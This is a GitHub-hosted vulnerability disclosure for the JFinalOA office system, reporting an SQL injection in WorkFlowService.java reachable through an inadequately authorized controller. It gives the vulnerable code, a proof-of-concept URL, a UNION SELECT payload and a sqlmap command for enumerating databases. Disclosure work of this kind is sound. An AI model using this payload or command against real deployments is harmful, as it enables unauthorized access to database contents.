novysodope / VulReq Public

<> Code ⊙ Issues Pull requests Actions Projects Security Insights

main ▾ ···

VulReq / JFinalOA

novysodope Create JFinalOA History

1 contributor

37 lines (29 sloc) | 2.22 KB ···

```
#JFinalOA:
#sql injection

The vulnerability was discovered by downloading the program's source code to local and online deployment tests.

Location:
src/main/java/com/pointlion/mvc/admin/oa/workflow/WorkFlowService.java

Code:
String sql = "FROM "+tableName+" o, ( SELECT DISTINCT p.BUSINESS_KEY_, d.ID_ defid FROM act_hi_taskinst t, act_hi_procinst p, act_re_procdef d WHERE t.ASSIGNEE_='"+username+"' AND
//		String sql  = " from "+tableName+" o , (select BUSINESS_KEY_,d.ID_ defid from act_hi_identitylink i,act_hi_procinst p,act_re_procdef d where i.TYPE_='participant' a
		if(StrKit.notBlank(sqlEXT)){
			sql = sql + sqlEXT;
		}
		sql = sql +" order by o.create_time desc";
		return Db.paginate(pnum, psize, " select o.*,defid ", sql);
Rows:409

Harm:
The attacker only needs an ordinary user to trigger the vulnerability and use the SQL injection vulnerability to obtain database information.

Conditions for Execution:
There is an unauthorized vulnerability in the getHaveDoneTaskDataList method of FlowTaskController. In this method, only the login status is obtained, and the user is not authentic

Edition:
Version = all

Cause the cause :
Use the splicing method to splice the parameter'"+defkey+"' in the sql query statement, and then bring the sql statement into the database for execution, and the vulnerability is t

POC:
According to the framework routing configuration combined with the controller method to construct the url
/admin/oa/workflow/flowtask/getHaveDoneTaskDataList?pageNumber=&pageSize=&defkey=
Payload:
1' UNION SELECT 1,2,3 --+
Taking into account the need to log in, so use burpsuite to capture the package and save it to txt and then use sqlmap to test
sqlmap.py -r D:\test.txt --random-agent --dbs --current-db
```